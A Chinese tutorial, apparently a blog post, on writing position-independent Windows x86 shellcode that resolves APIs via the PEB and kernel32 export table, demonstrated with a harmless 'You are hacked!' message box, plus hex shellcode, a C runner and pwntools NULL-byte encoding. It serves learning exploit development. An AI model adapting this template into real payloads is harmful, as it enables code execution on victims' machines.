0x00 背景
假设你发现了一个windows程序的漏洞,你得注入一些shellcode来执行自己想要执行的命令,但是如果目标程序没有加载某些dll,你就无法在shellcode中直接调用那些API,所以你需要在shellcode中自行加载你需要的dll,然后调用。本文使用汇编模拟了这样一个过程,并将该汇编转换成了shellcode,使用该方法就可以生成任何你想要的payload了。注:本代码仅在win7和win10下测试过。
0x01 汇编码编写及编译
首先,直接贴出汇编码。如上文所说,该汇编码的大致思路为
1. 计算出kernel32.dll在内存中的偏移
2. 然后根据kernel32.dll的export directory中函数的名字来找到GetProcAddress这个函数
3. 再使用GetProcAddress这个函数找到LoadLibraryA函数的地址
4. 使用LoadLibraryA加载user32.dll这个库
5. 再次使用GetProcAddress加载user32.dll库的MessageBoxA函数
6. 最后调用MessageBoxA函数弹出一个对话框。
BITS 32
section .text
global main
main:
push ebp
mov ebp,esp
sub esp,0x10
; Local variables:
;
; [ebp-4] Address of kernel32.dll
; [ebp-8] Address of kernel32.dll's export directory
; [ebp-12] Address of GetProcAddress
; [ebp-16] Address of LoadLibraryA
; Save registers
push ebx
push esi
push edi
call get_delta_offset ; Get the delta offset
get_delta_offset:
pop ebx
sub ebx,get_delta_offset
mov eax,[fs:0x30] ; Get the PEB address
mov eax,[eax+0xc]
mov eax,[eax+0x14]
; Get the address of kernel32.dll
mov eax,[eax]
mov eax,[eax]
mov eax,[eax+0x10]
mov [ebp-4],eax ; Save the address of kernel32.dll
add eax,[eax+0x3c] ; Get the address of PE header
mov eax,[eax+0x78] ; Get the address of export directory
add eax,[ebp-4]
mov [ebp-8],eax ; Save the address of export directory
; Parse the export table
xor esi,esi
mov edx,[eax+0x20]
add edx,[ebp-4]
; loop to find address of GetProcAddress func
loop:
push esi ; Save the index
mov ecx,len
mov esi,[edx+esi*4]
add esi,[ebp-4] ; esi now holds the address of the export name
lea edi,[str_GetProcAddress+ebx]
rep cmpsb ; Compare the string
je loop_end
pop esi ; Restore the index
inc esi
cmp esi,[eax+0x14]
jl loop
jmp exit ; Fail
loop_end:
pop esi ; esi now holds the index
mov ecx,[eax+0x1c]
add ecx,[ebp-4] ; ecx now holds the address of function addresses table
mov edx,[eax+0x24] ; edx now holds the address of ordinal table
add edx,[ebp-4]
movzx eax,word [edx+esi*2]
mov eax,[ecx+eax*4] ; eax now holds the RVA of the callee (GetProcAddress) function
add eax,[ebp-4] ; eax now holds the real address of the callee (GetProcAddress) function
mov [ebp-12], eax ; save GetProcAddress address to stack
; GetProcAddress(kernel32_addr, "LoadLibraryA")
lea edi,[str_LoadLibraryA+ebx]
push edi
mov ecx, [ebp-4]
push ecx
call eax ; Achieve LoadLibraryA func
mov [ebp-16], eax ;save LoadLibraryA address to stack
; You can modify the following process to achieve whatever you want
;LoadLibraryA("user32.dll")
lea edi,[str_User32dll+ebx]
push edi
call eax
;GetProcAddress(handle, "MessageBoxA")
lea edi,[str_MessageBoxA+ebx]
push edi
push eax
mov eax, [ebp-12]
call eax
push dword 0 ;now call MessageBoxA
lea edi,[str_caption+ebx]
push dword edi
lea edi,[str_text+ebx]
push dword edi
;push dword str_caption
;push dword str_text
push dword 0
call eax
exit:
; GetProcAddress(kernel32_addr, "ExitProcess")
lea edi,[str_ExitProcess+ebx]
push edi
mov ecx, [ebp-4]
push ecx
mov eax, [ebp-12]; Get GetProcAddress func
call eax ; Achieve ExitProcess func
push 0x00
call eax ; call ExitProcess(0)
; Restore registers, never reached
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
retn
;section .data //You can't use data section in shellcode
str_GetProcAddress db "GetProcAddress",0
len equ $-str_GetProcAddress
str_LoadLibraryA db "LoadLibraryA", 0
str_ExitProcess db "ExitProcess", 0
str_User32dll db "user32.dll", 0
str_MessageBoxA db "MessageBoxA", 0
str_caption db "Warning!", 0
str_text db "You are hacked!", 0
有一点要注意的是,我们需要自动计算出当前代码的偏移(保存在ebx中),之后使用字符串参照等时都需要加上这个偏移。
上面这份代码参照了很多资料 -- My first assembly shellcode,security camp2016,Assembler/ForFun(x86_32)/06, 32bit Windows with NASM,アセンブリ言語でWindowsプログラミング。
主要是第一份资料,成功地获得了kernel32.dll模块的地址和函数名的数组。
编译和链接方式可以参考最后一个资料,这里也整理出来:
nasm -fwin32 hello.asm
alink -entry main -oPE hello
正常情况下我们会需要用到windows的API,比如下面这样的汇编:
extern MessageBoxA
extern ExitProcess
global main
section .text
main:
push ebp
mov ebp, esp
push dword 0
push dword title
push dword text
push dword 0
call MessageBoxA
mov esp, ebp
pop ebp
call ExitProcess;
section .data
title: db 'Message', 0
text: db 'Hello World!', 0
这个时候我们还需要链接.lib文件,可以使用如下语句:
ALINK.EXE -entry main -oPE beep win32.lib
其中win32.lib文件在alink网站上可以下载到。
0x02 生成shellcode
shellcode的生成方法更加简单,首先我们在上一步编译得到了一个hello.exe文件,然后我们用stirling这个binary editor打开该exe文件,找到代码的开始与结束,复制到文本编辑器中,然后在文本编辑器中把所有空格自动替换为'\x'即可。

最后我们把得到的shellcode放入我们的程序中试试能不能运行:
#include <stdio.h>
#include <Windows.h>
char shellcode[] = "\x55\x89\xE5\x83\xEC\x10\x53\x56\x57\xE8\x00\x00\x00\x00\x5B\x81\xEB\x0E\x10\x40\x00\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\x89\x45\xFC\x03\x40\x3C\x8B\x40\x78\x03\x45\xFC\x89\x45\xF8\x31\xF6\x8B\x50\x20\x03\x55\xFC\x56\xB9\x0F\x00\x00\x00\x8B\x34\xB2\x03\x75\xFC\x8D\xBB\xCD\x10\x40\x00\xF3\xA6\x74\x09\x5E\x46\x3B\x70\x14\x7C\xE3\xEB\x54\x5E\x8B\x48\x1C\x03\x4D\xFC\x8B\x50\x24\x03\x55\xFC\x0F\xB7\x04\x72\x8B\x04\x81\x03\x45\xFC\x89\x45\xF4\x8D\xBB\xDC\x10\x40\x00\x57\x8B\x4D\xFC\x51\xFF\xD0\x89\x45\xF0\x8D\xBB\xF5\x10\x40\x00\x57\xFF\xD0\x8D\xBB\x00\x11\x40\x00\x57\x50\x8B\x45\xF4\xFF\xD0\x6A\x00\x8D\xBB\x0C\x11\x40\x00\x57\x8D\xBB\x15\x11\x40\x00\x57\x6A\x00\xFF\xD0\x8D\xBB\xE9\x10\x40\x00\x57\x8B\x4D\xFC\x51\x8B\x45\xF4\xFF\xD0\x6A\x00\xFF\xD0\x5F\x5E\x5B\x89\xEC\x5D\xC3\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x57\x61\x72\x6E\x69\x6E\x67\x21\x00\x59\x6F\x75\x20\x61\x72\x65\x20\x68\x61\x63\x6B\x65\x64\x21\00";
// char shellcode[] = "\xd9\xd0\xfc\xd9\x74\x24\xf4\x5e\x83\xc6\x18\x89\xf7\xac\x93\xac\x28\xd8\xaa\x80\xeb\xac\x75\xf5\x2e\x5b\x85\x0e\x5c\x41\xc4\x47\x9b\x87\xaa\xba\x13\x66\x89\xdf\x7e\xd5\x78\x60\xf9\xf9\xe8\xe8\x28\x28\xd3\xd3\x5b\xb6\x4e\xcf\x6c\x57\x08\x16\x75\x85\xc8\x08\x7a\x7a\x88\xec\xf1\x92\xdd\x0d\x2d\x2d\xae\xae\x91\x91\x84\x0f\xc8\x08\x0e\x1a\x84\x0f\xee\x2e\xe3\xf7\xd3\x5e\xbf\xbf\x46\xd1\x59\x59\x79\x04\x2d\x6d\xc0\xd0\xaa\x33\x9b\xe0\xc6\xc2\x36\x39\xb3\xf3\xd3\x0f\x58\xe3\x96\xd6\x5f\xd7\x37\x3a\x37\x7c\x02\xfe\x65\xee\xd3\x18\x29\x21\x5d\x8e\x0b\x01\x3a\xc5\xad\xfd\x83\xa3\xbf\xc2\xe7\x3c\x98\x94\xe1\x37\xf2\xab\x45\x54\xea\xea\x61\x61\x89\x89\xb3\x3e\xf0\x24\xd1\x83\xa1\xa4\x56\xcb\xf0\xec\x8f\x1c\xd7\x92\x66\x33\x7d\x8d\x58\x98\x7e\x7e\xe9\xdc\x8f\x35\x5c\xd0\x12\x1b\x45\xa3\x6f\xb5\xe2\x1d\x68\xd8\xc3\xd7\x28\xa4\xdd\xc0\xae\x99\xbc\x10\x77\xd5\x9e\x29\x72\xba\x67\x83\x3f\x42\x05\x52\xce\xca\xf9\x84\x3a\x8a\x3b\x5f\x83\x86\x6c\xc1\x73\x6f\x9d\xac\xca\x81\xc2\xc6\x14\x86\x73\xfe\x42\x46\xaf\x30\xf7\xfa\x05\x4a\xb3\xaf\xc4\x4d\x89\xce\x9f\x93\xf3\x80\x30\xeb\xc7\xa3\x66\x76\xd8\x18\x8b\x8b\xa4\xfb\x5c\xe7\xec\x39\x2e\x2a\xa2\xf3\x7e\x7d\xba\x8a\xed\x76\xf1\x36\x46\x36\x49\xd6\xee\xa9\x2c\x21\xa3\xb3\xc7\x07\xe3\xe3\xb4\x0b\x80\x7f\xcd\x9d\xf0\x7d\xa9\x64\x68\x68\xd9\xea\x5b\x9b\xe7\xe7\x56\xad\x25\x75\xb1\x3c\x78\xbd\x9d\x91\xc4\xc3\xdd\xad\x55\xbf\xc2\xc2\x55\xe2\x7d\x38\xcd\xd9\xe3\xf4\xbc\xfc\x40\x40\x4a\xa1\x2d\xba\xed\xa8\x7e\x93\x11\x22\x3d\x7d\x29\x29\x79\xd0\x55\xbf\x60\x60\x42\x41\x37\x07\xc1\x4e\x1f\xda\x46\x2f\x18\x28\xd2\x12\x85\x85\x92\xe9\xd1\x5c\x82\xcf\xd4\xd0\x7f\xd0\xc2\x4d\x6d\xb2\x49\x3d\x5a\x59\x13\xe3\xd3\x3d\x91\x91\xa2\xa1\x0c\xdc\xaf\x0e\xfc\x5a\x88\xe3\x1b\xa4\xd2\xbe\x68\xc5\x91\x54\x6d\xb4\x51\xb6\xd7\x4b\x71\xc1\x79\xeb\x41\xb0\xdc\x3f\xe3\x24\x78\xdc\x84\xe8\x53\xc5\x08\x6d\x5e\xd1\xd2\x45\xd3\xd3\xb5\x01\xab\x1a\xd9\x3a\xe2\x46\x89\xd5\x65\xce\x4f\xb1\x23\x95\x02\x63\x15\x87\x2e\xa7\xf8\x39\x50\x50\x8b\xd0\xc7\x3f\xd4\x3d\x59\xcd\xd1\x21\x39\xab\x5d\xcc\xa5\x08\x9e\x03\x53\xc6\xa5\x18\x47\x47\x51\xc6\xf6\x69\x5f\xc4\x39\xab\x3c\x6f\xa3\xd5\xeb\x19\xca\x2e\x1c\x88\x4d\xb9\x40\x40\x55\xa2\x9c\x01\x12\x85\x6b\xde\xab\x0c\xe2\x49\xf3\x58\xab\xed\x72\xe1\xff\x77\xf0\x31\x07\x07\x7a\xd1\xf8\x59\x2a\x9c\xfb\x69\x23\x8c\xb5\x23\x30\x97\x8e\xaf\x1a\x1a\x25\x7e\xbf\x2e\x90\x05\x10\x30\x68\xc9\x75\xe7\x49\xae\xe4\x04\x52\xba\x72\xd3\x33\x96\xb1\x1c\x4d\xb2\xd8\x3c\x11\x32\xae\xae\xac\x78";
int main()
{
PDWORD orig;
printf ("%d\n", VirtualProtect(shellcode, 3000, PAGE_EXECUTE_READWRITE, &orig) );
fprintf(stdout, "Length: %d\n\n", strlen((char *)shellcode));
(*(void(*)()) shellcode)();
return 0;
}
这仅仅是一个示例程序,正常情况下如果我们在exploit的时候都需要去除NULL byte,防止shellcode被截断,所以我们再来对该shellcode进行除去NULL byte的操作,使用pwntools即可。
在python控制台中输入如下语句:
>>> import pwnlib
>>> str = pwnlib.encoders.encoder.null("\55\x89\xE5\x83\xEC\x10\x53\x56\x57\xE8\x00\x00\x00\x00\x5B\x81\xEB\x0E\x10\x40\x00\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\x89\x45\xFC\x03\x40\x3C\x8B\x40\x78\x03\x45\xFC\x89\x45\xF8\x31\xF6\x8B\x50\x20\x03\x55\xFC\x56\xB9\x0F\x00\x00\x00\x8B\x34\xB2\x03\x75\xFC\x8D\xBB\xCD\x10\x40\x00\xF3\xA6\x74\x09\x5E\x46\x3B\x70\x14\x7C\xE3\xEB\x54\x5E\x8B\x48\x1C\x03\x4D\xFC\x8B\x50\x24\x03\x55\xFC\x0F\xB7\x04\x72\x8B\x04\x81\x03\x45\xFC\x89\x45\xF4\x8D\xBB\xDC\x10\x40\x00\x57\x8B\x4D\xFC\x51\xFF\xD0\x89\x45\xF0\x8D\xBB\xF5\x10\x40\x00\x57\xFF\xD0\x8D\xBB\x00\x11\x40\x00\x57\x50\x8B\x45\xF4\xFF\xD0\x6A\x00\x8D\xBB\x0C\x11\x40\x00\x57\x8D\xBB\x15\x11\x40\x00\x57\x6A\x00\xFF\xD0\x8D\xBB\xE9\x10\x40\x00\x57\x8B\x4D\xFC\x51\x8B\x45\xF4\xFF\xD0\x6A\x00\xFF\xD0\x5F\x5E\x5B\x89\xEC\x5D\xC3\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x57\x61\x72\x6E\x69\x6E\x67\x21\x00\x59\x6F\x75\x20\x61\x72\x65\x20\x68\x61\x63\x6B\x65\x64\x21\00")
>>> print ''.join([ '\\x%02x'% ord(c) for c in str ])
\xd9\xd0\xfc\xd9\x74\x24\xf4\x5e\x83\xc6\x18\x89\xf7\xac\x93\xac\x28\xd8\xaa\x80\xeb\xac\x75\xf5\x2e\x5b\x85\x0e\x5c\x41\xc4\x47\x9b\x87\xaa\xba\x13\x66\x89\xdf\x7e\xd5\x78\x60\xf9\xf9\xe8\xe8\x28\x28\xd3\xd3\x5b\xb6\x4e\xcf\x6c\x57\x08\x16\x75\x85\xc8\x08\x7a\x7a\x88\xec\xf1\x92\xdd\x0d\x2d\x2d\xae\xae\x91\x91\x84\x0f\xc8\x08\x0e\x1a\x84\x0f\xee\x2e\xe3\xf7\xd3\x5e\xbf\xbf\x46\xd1\x59\x59\x79\x04\x2d\x6d\xc0\xd0\xaa\x33\x9b\xe0\xc6\xc2\x36\x39\xb3\xf3\xd3\x0f\x58\xe3\x96\xd6\x5f\xd7\x37\x3a\x37\x7c\x02\xfe\x65\xee\xd3\x18\x29\x21\x5d\x8e\x0b\x01\x3a\xc5\xad\xfd\x83\xa3\xbf\xc2\xe7\x3c\x98\x94\xe1\x37\xf2\xab\x45\x54\xea\xea\x61\x61\x89\x89\xb3\x3e\xf0\x24\xd1\x83\xa1\xa4\x56\xcb\xf0\xec\x8f\x1c\xd7\x92\x66\x33\x7d\x8d\x58\x98\x7e\x7e\xe9\xdc\x8f\x35\x5c\xd0\x12\x1b\x45\xa3\x6f\xb5\xe2\x1d\x68\xd8\xc3\xd7\x28\xa4\xdd\xc0\xae\x99\xbc\x10\x77\xd5\x9e\x29\x72\xba\x67\x83\x3f\x42\x05\x52\xce\xca\xf9\x84\x3a\x8a\x3b\x5f\x83\x86\x6c\xc1\x73\x6f\x9d\xac\xca\x81\xc2\xc6\x14\x86\x73\xfe\x42\x46\xaf\x30\xf7\xfa\x05\x4a\xb3\xaf\xc4\x4d\x89\xce\x9f\x93\xf3\x80\x30\xeb\xc7\xa3\x66\x76\xd8\x18\x8b\x8b\xa4\xfb\x5c\xe7\xec\x39\x2e\x2a\xa2\xf3\x7e\x7d\xba\x8a\xed\x76\xf1\x36\x46\x36\x49\xd6\xee\xa9\x2c\x21\xa3\xb3\xc7\x07\xe3\xe3\xb4\x0b\x80\x7f\xcd\x9d\xf0\x7d\xa9\x64\x68\x68\xd9\xea\x5b\x9b\xe7\xe7\x56\xad\x25\x75\xb1\x3c\x78\xbd\x9d\x91\xc4\xc3\xdd\xad\x55\xbf\xc2\xc2\x55\xe2\x7d\x38\xcd\xd9\xe3\xf4\xbc\xfc\x40\x40\x4a\xa1\x2d\xba\xed\xa8\x7e\x93\x11\x22\x3d\x7d\x29\x29\x79\xd0\x55\xbf\x60\x60\x42\x41\x37\x07\xc1\x4e\x1f\xda\x46\x2f\x18\x28\xd2\x12\x85\x85\x92\xe9\xd1\x5c\x82\xcf\xd4\xd0\x7f\xd0\xc2\x4d\x6d\xb2\x49\x3d\x5a\x59\x13\xe3\xd3\x3d\x91\x91\xa2\xa1\x0c\xdc\xaf\x0e\xfc\x5a\x88\xe3\x1b\xa4\xd2\xbe\x68\xc5\x91\x54\x6d\xb4\x51\xb6\xd7\x4b\x71\xc1\x79\xeb\x41\xb0\xdc\x3f\xe3\x24\x78\xdc\x84\xe8\x53\xc5\x08\x6d\x5e\xd1\xd2\x45\xd3\xd3\xb5\x01\xab\x1a\xd9\x3a\xe2\x46\x89\xd5\x65\xce\x4f\xb1\x23\x95\x02\x63\x15\x87\x2e\xa7\xf8\x39\x50\x50\x8b\xd0\xc7\x3f\xd4\x3d\x59\xcd\xd1\x21\x39\xab\x5d\xcc\xa5\x08\x9e\x03\x53\xc6\xa5\x18\x47\x47\x51\xc6\xf6\x69\x5f\xc4\x39\xab\x3c\x6f\xa3\xd5\xeb\x19\xca\x2e\x1c\x88\x4d\xb9\x40\x40\x55\xa2\x9c\x01\x12\x85\x6b\xde\xab\x0c\xe2\x49\xf3\x58\xab\xed\x72\xe1\xff\x77\xf0\x31\x07\x07\x7a\xd1\xf8\x59\x2a\x9c\xfb\x69\x23\x8c\xb5\x23\x30\x97\x8e\xaf\x1a\x1a\x25\x7e\xbf\x2e\x90\x05\x10\x30\x68\xc9\x75\xe7\x49\xae\xe4\x04\x52\xba\x72\xd3\x33\x96\xb1\x1c\x4d\xb2\xd8\x3c\x11\x32\xae\xae\xac\x78
可以发现所有的NULL byte都被消除了。然后将该shellcode拷贝到我们刚刚的c语言程序中试试,仍然能成功执行。此外pwntools还有很多encoder,我试了alphanumeric没有成功,大家可以自行尝试别的encoder。